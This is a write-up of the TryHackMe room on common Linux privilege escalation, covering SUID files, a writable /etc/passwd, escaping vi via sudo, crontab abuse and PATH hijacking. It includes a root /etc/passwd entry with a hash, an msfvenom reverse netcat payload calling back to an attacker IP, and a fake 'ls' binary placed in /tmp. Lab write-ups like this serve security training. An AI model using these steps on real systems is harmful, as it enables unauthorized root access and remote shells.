Common Linux Privilege Escalation
The link for this lab is located here: https://tryhackme.com/room/commonlinuxprivesc
In this room, we will give an introduction to some common linunx privilege escalation techniques such as SUID/GUID files, /etc/passwd file, crontabs and PATH variables.
Task 2 - Understanding Privesc
At its core, Privilege Escalation usually involves going from a lower permission to a higher permission. More technically, it is the exploitation of a vulnerability, design flaw or configuration oversight in an OS or app to gain unauthorized access to resources that are usually restricted from the users.
Rarely when doing CTFs or real-world penetration tests will you gain a foothold that affords admin access. Privilege escalation lets you gain system administrator levels of access which, in turn, allows you to do much more things:
Reset passwords
Bypass access controls to compromise protected data
Edit software configurations
Enable persistence
Change privilege of other users
Task 3 - Direction of Privilege Escalation
There are two main privilege escalation variants: horizontal and vertical.
Horizontal Privilege Escalation
Horizontal privesc is where you expand your reach over the compromised system by taking over a different user who is on the same privilege level as you. For instance, a normal user hijacking another normal user. This allows you to inherit whatever files and access that user has.
This can be used to gain access to another normal privileged user that happens to have a SUID file attached to their home directory which can then be used to get superuser access.
Vertical Privilege Escalation
Vertical privesc is where you attempt to gain higher privileges or access, with an existing account that you have already compromised. For local privesc attacks, this might mean hijacking an account with admin or root privileges.
Task 4 - Enumeration
LinEnum is a BASH script that performs common commands related to privilege escalation - saving time in the long run. It’s important to understand what commands it executes so you are able to manually enumerate privesc when you cannot use LInEnum or other scripts.
There are two main ways to get LinEnum on the target machine. The first way is to host a Python3 web server in the directory that contains LinEnum using the syntax “python3 -m http.server 8000”. Once hosted, you could then use the “wget” command on the target machine to grab the file and download it using the syntax “wget [IP]:8000/LinEnum.sh”.
Once downloaded, the last step would be to make the file executable on the system. Note that you may need to download the file to a word-writeable directory in case you do not have privileges - a good choice for this is the “/tmp” directory as almost every user can access it.
In case you are unable to transport the file over, you could also copy the raw LinEnum code and paste it into a new file on the target using a text editor such as Vi or Nano. Once done, you could save the file with a “.sh” extension and once again, add executable permissions to the file
To run LinEnum, you can simply type “./LinEnum.sh” on the target machine.
The output from LinEnum is broken down into different sections. There are 4 main sections that are incredibly important and useful. These are:
Kernel
Can we read/write sensitive files
SUID Files
Crontab Contents
The Kernel section - as it suggests - includes information about the Linux kernel. If the target has not updated the kernel in a long time, there is a likely possibility that there is a kernel exploit available.
The sensitive files section shows any world-writable files on the system. These are files that any authenticated user can read and write to. Looking at the permissions of the sensitive files, you could possibly see a misconfiguration that could allow users to be able to write to sensitive files.
SUID files show all files that can be run as root. SUID (Set User ID upon execution) is a type of file permission given to a file. It allows the file to run with permissions of whoever the owner of that file is. If the owner is root, it runs with root privileges. If we can modify the contents of one of these files to spawn a shell for example, we could run it and execute a shell under root privileges.
The Crontabs section shows scheduled jobs. Cron is used to schedule commands at a specific time. Scheduled commands are known as “cron jobs”. The “crontab” command creates a crontab file containing commands and instructions for the cron daemon to execute.
Questions
Q2: What is the target’s hostname?
A: To check the hostname of the target machine, we can use the "hostname" command
Q3: Look at the output of /etc/passwd, how many “user[x]” are there on the system?
A: Catting out the etc/passwd file and scrolling to the bottom reveals that there are 8 users on the system.
Q4: How many available shells are there on the system?
A: To check the shells available on the system, check the /etc/shells file. For this system, there are 4 available shells.
Q5: What is the name of the bash script that is set to run every 5 minutes by cron?
A: To check the cron jobs, cat out the /etc/crontab file to see any jobs scheduled.
As you can see, the top one seems abnormal and runs every 5 minutes. If you are not sure about what the numbers and stars mean, you can check it via an online cronjob calculator
Q6: What critical file has had its permissions changed to allow some users to write to it?
A: Checking the /etc/passwd file permissions, reveals that every user can read to the file
Task 5 - Abusing SUID/GUID Files
A good first step in Linux privesc is checking for file with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file’s owner or group.
When you set permissions for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. The maximum number of bit that can be used to set permissions for each user is 7 - combination of read (4), write (2) and execute (1).
When special permissions are given to each user, it becomes SUID or GUID. When the extra bit “4” is set to the user (owner) it becomes SUID and when bit “2” is set to group it becomes SGID.
The permissions to look for when looking for SUID is:
rws-rwx-rwx
And the permission to look for when looking for SGID is:
rwx-rws-rwx
If you want to find SUID files manually, you can utilize the “find” command with the following parameters:
find / -perm -u=s -type f 2>/dev/null
where:
find - initiates the “find” command
/ - searches the whole filesystem
-perm - searches for files with specific permissions
-u=s - any of the permissions bits mode are set for the file. Symbolic modes are accepted in this form
-type f - searches for files
2>/dev/null - direct errors to /dev/null which get immediately deleted
Questions
Q1: What is the path of the file in user3’s directory that stands out to you?
A: Using the find command with the parameters mentioned above reveals the SUID files on the system. An interesting file is the shell file in user'3s home directory
Q2: We know that “shell” is a SUID bit file, therefore running it will run the script as root. Run it by typing “./shell”
A: Running the shell file gives us a root shell
Task 6 - Exploiting Writeable /etc/passwd
From earlier enumeration tactics, we see that user7 is a member of the root group with GID 0. And we know from LinEnum that /etc/passwd is writable for user7. From this, we can conclude that user7 can edit the /etc/passwd file.
The /etc/passwd file stores essential information which is required during login. It stores various account information such as username, user ID, group ID, home directory, shell and more.
The /etc/passwd file should have general read permissions but write access should be limited to the root user. When it doesn’t have these permissions or a user has been added to a write allowed group, we have a vulnerability that can allow the creation of a root user we can access.
The /etc/passwd file contains one entry per line for each user. All fields are separated by a colon symbol. There are 7 fields total. Generally, an entry looks like the following:
test:x:0:0:root:/root:/bin/bash
These different fields have the following meanings:
Username: used when a user logs in. Should be between 1-32 characters.
Password: an “x” indicates that the encrypted password is stored in /etc/shadow
User ID (UID): each user must be assigned a UID. A UID of 0 is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by the system for administrative and system accounts/groups
Group ID (GID): primary group ID stored in /etc/group file
User ID info: allows extra information such as full name, number, etc..
Home directory: absolute path to the user’s home directory. If it does not exist, it becomes /
Command/shell: absolute path of a command or shell (/bin/bash)
If /etc/passwd is writable, you can write a new line entry according to the above formula to create a new user. You simply add the password hash, set the UID, GID and shell to root.
Questions
Q1: First, exit out of root by typing “exit”. Then, swap to user7 via the “su user7” command with the password of “password”
Q2: What direction of privilege escalation is this task?
A: Switching to this useris known as horizontal privilege escalation. As you can see, user7 is part of the root group meaning higher privileges.
Looking at the privileges for /etc/passwd also reveal that the group can read and write to the file - meaning user7 can aswell
Q3: Before adding a new user, we first need to create a compliant password hash to add. To do this, use the command “openssl passwd -1 -salt [salt] [password]”. What is the hash created by using the salt “new” and the password “123”?
A: To create a new password we use the "openssl passwd -l -salt new 123" command which generates a hash?
Q4: Now take this value and create a new root user account. What would the /etc/passwd entry look like for a root user with the username “new” and the password hash from before?
A: The entry for a root user with the username "new" and the password hash created would be new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bashQ5: Now, simply add that entry to the end of the /etc/passwd file
A: To add the entry to the passwd file, simply open it up with nano and copy and paste it into the bottom of the file
Q6: Now, use “su” to login as the “new” account and then enter the password. If everything worked, you should be greeted by a root prompt
A: Simply switch user to the "new" account entering the password generated before to get a shell
Task 7 - Escaping Vi Editor
This exploit comes down to how effective our user account enumeration has been. Every time you have access to an account, you should use “sudo -l” to list what commands you are able to use as root. Sometimes, you will find that you are able to run certain commands as root without the root password.
Running “sudo -l” on the user8 account shows that they can run vi with root privileges. This allows us to escape vim in order to escalate privileges and get a shell as the root user.
If you find a misconfigured binary during your enumeration or when checking what binaries a user account has access to, a good place to look up how to exploit them is GTFOBins. This is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
Questions
Q1: First, exit out of root using “exit” and then swap to user8 with the password of “password”
Q2: Next, use “sudo -l”. What does the user require to run vi as root?
A: Looking at the output reveals that NOPASSWD is needed to run the vi editor as root from user8
Q3: All we need to do is open vi as root by typing “sudo vi” in the terminal
A: By typing "sudo vi", we open up vi editor running as root
Q4: Now, type “:!sh” to escape Vim and open a shell
A: To exit the vi editor into a shell, type :!sh and hit Enter
Once exited, running the whoami command reveals that it is running a new shell as root
Task 8 - Exploiting Crontab
The Cron daemon is a long-running process that executes commands at specific dates and times. You use it to schedule activities - either as one time events or recurring tasks. You can create a crontab file containing commands and instructions for the Cron daemon to execute.
Using the “cat /etc/crontab” command, you can view what cron jobs are scheduled.
Cronjobs exist in a certain format - being able to read that format is important if you want to exploit a cron job. The following symbols are used in cron:
# - ID
m - Minutes
h - hour
dom - day of month
mon - month
dow - day of the week
user - what user the command runs as
command - what command will run
From earlier enumeration, we know the file autoscript.sh on user4’s desktop is scheduled to run every 5 minutes. It is owned by root meaning it will run as root despite the fact we can edit it. The goal is to create a command that will return a shell and paste it into the file. Then, when it is ran again, the shell will be running as root.
Questions
Q1: First, exit out of root from the previous task by typing “exit”. Then, swap to user4 with the password of “password” using the su command
Q2: Next, on the host machine, create a payload for the cron exploit using msfvenom
A: To generate a reverse netcat payload, we use the following syntax in msfvenom
Once generated, at the bottom you can see the full command you can run on the target to connect back to us
Q3: What is the flag to specify a payload in msfvenom?
A: To specify a payload in msfvenom, use the "-p" parameterQ4: Create a payload using “msfvenom -p cmd/unix/reverse_netcat LHOST=10.11.3.112 LPORT=8888 R”
A: To generate a reverse netcat payload, we use the following syntax in msfvenom
Once generated, at the bottom you can see the full command you can run on the target to connect back to us
Q5: What directory is the autoscript.sh under?
A: Looking at the Desktop of user4, we see the autoscript.sh script
Q6: Replace the contents of the file with the payload generated via msfvenom using the echo command
To replace the content, simply echo the full msfvenom command and redirect standard output to the autoscript.sh file
Q7: After copying the code into autoscript.sh, wait for cron to execute the file and start the netcat listener on port 8888
A: Simply wait a bit before autoscript.sh gets executed by cron. While waiting, start a netcat listener on your local machine on the same portQ8: After 5 minutes, you should have a shell as root via the netcat session
A: After 5 minutes or so, in your netcat listener, you should receive a connection back as root
Task 9 - Exploiting PATH Variable
PATH is an environment variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH variable in response to commands executed by the user. To view the PATH variable, use the “echo $PATH” command
Let’s say we have a SUID binary. Running it, we can see that it calls the system shell to do a basic process like list processes with “ps”. In this situation, we can’t exploit it by supplying an argument for command injection. What do we do?
We can rewrite the PATH variable to a location of our choosing. When the SUID binary then calls the system shell, it runs one that we have written.
As with any SUID file, it will run the command with the same privileges as the owner of the SUID file.
Questions
Q1: Going back to the local ssh session, exit out of root by typing “exit”. Then, swap to user5 with the password of “password” via su
Q2: Next, go to user5’s home directory and run the file “script”. What command do we think that it’s executing?
A: Looking in their home directory, we see a file called script that is owned by root. Running it simply lists out the contents of the current directory - running the ls command
Q3: Now we know what command to imitate. Change to the /tmp directory
Q4: Inside /tmp, create an imitation executable. The format for what we want to do is: echo “[command we want to run]” > [name of executable we want to imitate]. What would the command look like to open a bash shell, writing to a file with the name of the executable we are imitating?
A: We can create a file in the /tmp directory called "ls" - the command we want to imitate - that contains the /bin/bash code to spawn a shell
Q5: Now that the imitation is made, we need to make it an executable. What command do we execute to do this?
A: Next, simply run "chmod +x ls" to add executable permissions to the file
Now, we need to change the PATH variable, so that it points to the directory where we have our imitation “ls” stored. We do this using the command “export PATH=/tmp:$PATH”. This will cause you to open a bash prompt every time you use “ls”.
If you need to use ls before finishing the exploit, use “/bin/ls” instead. Once you have finished the exploit, you can exit out of root and use “export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH” to reset the PATH variable.
Q7: Now, change directory back to user5’s home directory
Q8: Finally, run the script file again and get a root bash shell
A: Going back to the home directory and running the script file should spawn a shell under root permissions
Task 10 - Expanding Your Knowledge
There is never a “magic” answer for Linux Privilege Escalation techniques. These are simply a few examples of basic things to watch out for when trying to escalate. Checklists are a good way to make sure you have not missed anything during your enumeration stage and also to provide a resource to check how to do things if you forget.
Below is a list of good checklists to apply to CTF or penetration tests.
